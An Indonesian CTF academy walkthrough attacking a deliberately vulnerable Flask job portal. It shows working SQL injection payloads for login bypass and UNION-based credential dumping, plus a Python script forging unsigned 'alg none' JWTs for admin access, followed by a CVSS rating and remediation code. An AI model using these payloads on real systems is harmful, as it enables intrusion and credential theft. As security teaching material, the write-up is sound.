TDCTF Academy Logo TDCTF ACADEMY

Job Portal - SQLi + JWT Bypass

Target: jobportal-vuln.vuln.cybersecurity.or.id
Tools: curl, python3, browser
Level: Menengah
Aplikasi: Flask + SQLite


Objective

Mendapatkan akses admin dan mengekstrak data sensitif dari database melalui dua kerentanan utama:

  1. SQL Injection pada parameter pencarian lowongan
  2. JWT Forgery menggunakan algoritma none

Reconnaissance

1.1. Identifikasi Target

Langkah pertama adalah melakukan fingerprint terhadap aplikasi:

curl -s -I http://jobportal-vuln.vuln.cybersecurity.or.id:8086/ | head -10

Output:

HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.11.15

Aplikasi berjalan di Flask (Werkzeug) - Python WSGI.

1.2. Eksplorasi Endpoint

Kita temukan beberapa endpoint API yang terpapar:

# Lihat daftar lowongan kerja
curl -s http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs | python3 -m json.tool

# Coba login sebagai admin (password default)
curl -s -X POST http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'

Output login:

{"token":"eyJ...","user":{"username":"admin","role":"admin"}}

Server mengembalikan JWT sebagai token autentikasi.

1.3. Temukan Parameter Rentan

Endpoint /api/jobs menerima parameter search:

curl -s "http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs?search=it"

Output - hasil pencarian lowongan:

[
{"id":1,"title":"IT Support","description":"Dibutuhkan IT Support...","company":"PT Maju","location":"Jakarta"}
]

Parameter search ini menjadi pintu masuk untuk SQL Injection.


Exploitation

2.1. SQL Injection - Login Bypass

Source code backend menggunakan f-string tanpa parameterized query:

q = f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'"

Payload untuk bypass login:

curl -s -X POST http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin'"'"' OR '"'"'1'"'"'='"'"'1","password":"x"}'

Output - login berhasil tanpa password valid:

{"token":"eyJ...","user":{"username":"admin","role":"admin"}}

2.2. SQL Injection - UNION Based Data Extraction

Endpoint /api/jobs?search= juga rentan. Kita bisa melakukan UNION SELECT untuk membaca tabel lain.

Pertama, tentukan jumlah kolom:

curl -s "http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,2,3,4,5,6,7--"

Output - 7 kolom terkonfirmasi:

[{"id":1,"title":2,"description":3,"company":4,"location":5,"status":6,"created_by":7}]

Dump data user:

curl -s "http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,username,password,4,5,6,7+FROM+users--"

Output - kredensial terekspos:

[
{"title":"admin","description":"admin123"},
{"title":"user1","description":"pass123"},
{"title":"user2","description":"pass456"}
]

Dump flag dari tabel rahasia:

curl -s "http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,flag,3,4,5,6,7+FROM+secrets--"

Output - flag berhasil didapatkan:

{"title":"FLAG{J0b_P0rt4l_SQLi_JWT_2025}"}

2.3. JWT Forgery - Algoritma none

Server menerima JWT dengan algoritma none - artinya token tanpa signature akan dianggap valid.

Source code backend:

def parse_token(req):
parts = auth.split(".")
hdr = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
if hdr.get("alg") == "none":
return json.loads(base64.urlsafe_b64decode(parts[1] + "=="))

Forge token menggunakan Python:

import json, base64

def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')

header = {"alg":"none","typ":"JWT"}
payload = {"user_id":1,"username":"admin","role":"admin","exp":9999999999}

forged_token = f"{b64url(header)}.{b64url(payload)}."
print(forged_token)

Output token:

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogOTk5OTk5OTk5OX0.

Gunakan forged token untuk akses endpoint admin:

curl -s -H "Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogOTk5OTk5OTk5OX0." \
http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/profile

Output:

{"claims":{"role":"admin","username":"admin","exp":9999999999}}

2.4. Akses Admin Endpoint

Endpoint /api/admin/users tidak memiliki proteksi autentikasi sama sekali:

curl -s http://jobportal-vuln.vuln.cybersecurity.or.id:8086/api/admin/users

Output - semua user beserta password:

[
{"username":"admin","password":"admin123","role":"admin"},
{"username":"user1","password":"pass123","role":"user"},
{"username":"user2","password":"pass456","role":"user"}
]

Evidence

Screenshot 1: SQL Injection - Dump Tabel Users

SQL Injection - Dump Users

Gambar: Output UNION SELECT yang menampilkan username dan password dari tabel users.

Screenshot 2: JWT Forgery - Forged Token Accepted

JWT Forgery - Forged Token

Gambar: Server menerima token JWT dengan algoritma none tanpa signature.

Screenshot 3: Admin Endpoint - Data Seluruh User

Admin Endpoint - All Users

Gambar: Endpoint admin yang memperlihatkan data seluruh user termasuk password.

Ringkasan Data yang Didapatkan

Jenis Data Detail
Database SQLite (3 tabel: users, jobs, secrets)
Kredensial admin:admin123, user1:pass123, user2:pass456
Flag FLAG{J0b_P0rt4l_SQLi_JWT_2025}
Akses Admin Token JWT forged + endpoint tanpa auth

️ Risk Assessment (CVSS 3.1)

Metrik Nilai Keterangan
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score 9.8 (Critical)
Attack Vector (AV) Network Serangan dari jarak jauh
Attack Complexity (AC) Low Tidak butuh kondisi khusus
Privileges Required (PR) None Tanpa autentikasi
User Interaction (UI) None Tanpa interaksi user
Confidentiality (C) High Semua data bisa dibaca
Integrity (I) High Data bisa dimodifikasi
Availability (A) High Database bisa di-drop

Dampak Bisnis

  1. Kebocoran data pengguna - semua username dan password terekspos
  2. Pengambilalihan akun admin - attacker bisa login sebagai admin
  3. Eskalasi privilege - dari user biasa menjadi administrator
  4. Penghapusan database - SQLite rentan terhadap query DROP TABLE

️ Remediation

1. Prevent SQL Injection - Parameterized Query

Kode rentan (f-string):

q = f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'"

Kode aman (parameterized query):

q = "SELECT * FROM users WHERE username=? AND password=?"
cur.execute(q, (user, pwd))

2. JWT - Tolak Algoritma none

Kode rentan:

if hdr.get("alg") == "none":
return json.loads(base64.urlsafe_b64decode(parts[1] + "=="))

Kode aman:

import jwt
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

3. Autentikasi di Setiap Endpoint

Endpoint tanpa auth:

@app.route("/api/admin/users")
def admin_users():
return jsonify(get_all_users())

Dengan middleware autentikasi:

@app.route("/api/admin/users")
@require_auth
def admin_users(current_user):
if current_user["role"] != "admin":
return {"error": "forbidden"}, 403
return jsonify(get_all_users())

4. Matikan Debug Mode

Pastikan debug=False di production:

app.run(debug=False) # Jangan gunakan debug=True di production

References


Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia

PADA HALAMAN INI